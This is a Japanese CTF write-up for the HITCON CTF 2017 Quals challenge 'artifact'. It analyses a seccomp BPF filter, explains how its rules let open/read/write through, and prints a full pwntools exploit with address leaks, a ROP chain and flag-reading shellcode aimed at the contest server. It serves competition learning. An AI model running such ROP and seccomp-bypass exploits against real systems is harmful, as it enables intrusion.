HITCON CTF 2017 Quals writup artifact

チーム NaruseJunで参加しました。 結果は67位、1solve(artifact) 2アシスト(BabyFirst Reverge, SecretFS) でした。

artifact

概要

checksecではこんな感じ。

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

プログラムはseccompによるサンドボックス上で何度でもスタックからのオフセットを指定を指定してアドレスを読み出し、書き込みが出来るようになっている。 seccompで使用されているbpfのダンプ結果は以下のようになっている。

Using architecture x86-64
prctl(PR_SET_NO_NEW_PRIVS)
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)
  fprog @ 00007fffffffddc0
  20 blocks @ 00007fffffffddd0
  Disassembly:
     l0:        ld [4] //A <- arch
     l1:        jeq #0xc000003e, l2, l18 //jeq x86_64
     l2:        ld [32]
     l3:        tax
     l4:        ld [0]
     l5:        jeq #0, l19, l6
     l6:        jeq #0x1, l19, l7
     l7:        jeq #0x5, l19, l8
     l8:        jeq #0x8, l19, l9
     l9:        jeq #0x9, l11, l10
     l10:       jeq #0xa, l11, l14
     l11:       txa
     l12:       and #0x1
     l13:       jeq #0x1, l18, l19
     l14:       jeq x, l19, l15
     l15:       jeq #0xc, l19, l16
     l16:       jeq #0x3c, l19, l17
     l17:       jeq #0xe7, l19, l18
     l18:       ret #0
     l19:       ret #0x7fff0000

脆弱性

bpfによるとルールは64bitのシステムコールかつ、いずれかの条件に当てはまっている必要がある。

つまり、mmapとmprotectは読み出しフラグさえ付けなければ使用可能で他のシステムコールも第三引数をシステムコール番号に設定すると実行できる。
open, read, writeが使用できるので目的であるフラグの読み出しが可能。

ちなみに、bpfのダンプにはこのgdbプラグインを使用しました。
GitHub - niklasb/dump-seccomp: GDB plugin to dump SECCOMP rules set via prctnl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER)

exploit

  1. スタック上にある関数の戻り先などを利用してPIE, ASLRのバイパスをする。
  2. 何度も書き込みが可能なのでROPでmmapとreadを呼び出してシェルコードを作成しopen, readでフラグを読み出す。
from pwn import *
from ropchain import solver, arch

context.terminal = 'screen'
binary = './artifact'
libcName = './libc.so.6'

elf = ELF(binary, False)
libc = ELF(libcName, False)


prompt = 'Choice?'

p = remote('52.192.178.153', 31337)

def show(idx):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('Idx?', str(idx))
    p.recvuntil('Here it is: ')
    return p.recvuntil('\n')[:-1]

def memo(idx, num):
    p.sendlineafter(prompt, '2')
    p.sendlineafter('Idx?', str(idx))
    p.sendlineafter('Give me your number:', str(num))

def exit():
    p.sendlineafter(prompt, '3')

stackBase = int(show(200)) - 132640
exeBase = int(show(202)) - 2992
libcBase = int(show(203)) - 132081
print 'stackBase: %s' % hex(stackBase)
print 'exeBase: %s' % hex(exeBase)
print 'libcBase: %s' % hex(libcBase)
binsh = libcBase + next(libc.search('/bin/sh\x00'))
system = libcBase + libc.symbols['system']
int80 = libcBase + 0x00002c3b
syscall = libcBase + 0x00124a98
print 'binsh: %s' % hex(binsh)
print 'syscall: %s' % hex(syscall)
# print 'int80: %s' % hex(int80)

'''
0x00116d45: pop r10 ; ret
0x001379b6: pop r8 ; mov eax, 0x00000001 ; ret  ;
'''
addr = 0x600000
arch.arch = arch.AMD64
genRop = lambda r: solver.solveWithFile(r, libcName, libcBase).payload()
payload = ''
payload += p64(libcBase + 0x1379b6) + p64(0xffffffffffffffff)
payload += p64(libcBase + 0x116d45) + p64(34)
payload += genRop({'rax': 0x09, 'rdi': addr, 'rsi': 0x1000, 'rdx': 0x6})
payload += p64(syscall)
payload += genRop({'rax': 0x01, 'rdi': 0x1, 'rsi': binsh, 'rdx': 0x8})
payload += p64(syscall)
payload += genRop({'rax': 0x00, 'rdi': 0x0, 'rsi': addr, 'rdx': 0x100})
payload += p64(syscall)
payload += p64(addr)

for i in range(len(payload)/8):
    memo(203+i, u64(payload[8*i:8*(i+1)]))

p.sendlineafter(prompt, '0')
payload = asm(
        '''
        mov rax, 0x2
        mov rdi, %s
        mov rsi, 0x0
        mov rdx, 0x2
        syscall
        mov rdi, rax
        mov rax, 0x0
        mov rsi, %s
        mov rdx, 0x100
        syscall
        mov rdi, 0x1
        mov rax, 0x1
        mov rdx, 0x100
        syscall
        mov rax, 0x3c
        mov rdi, 0x0
        syscall
        ''' % (hex(addr+0x90), hex(exeBase + elf.bss())), os='linux', arch='amd64').ljust(0x90, '\x90')
payload = (payload + 'flag\x00').ljust(0xc0, '\x90')
p.sendafter('/bin/sh\x00', payload)
p.interactive()

seccompは全然詳しくなかったので勉強になりました。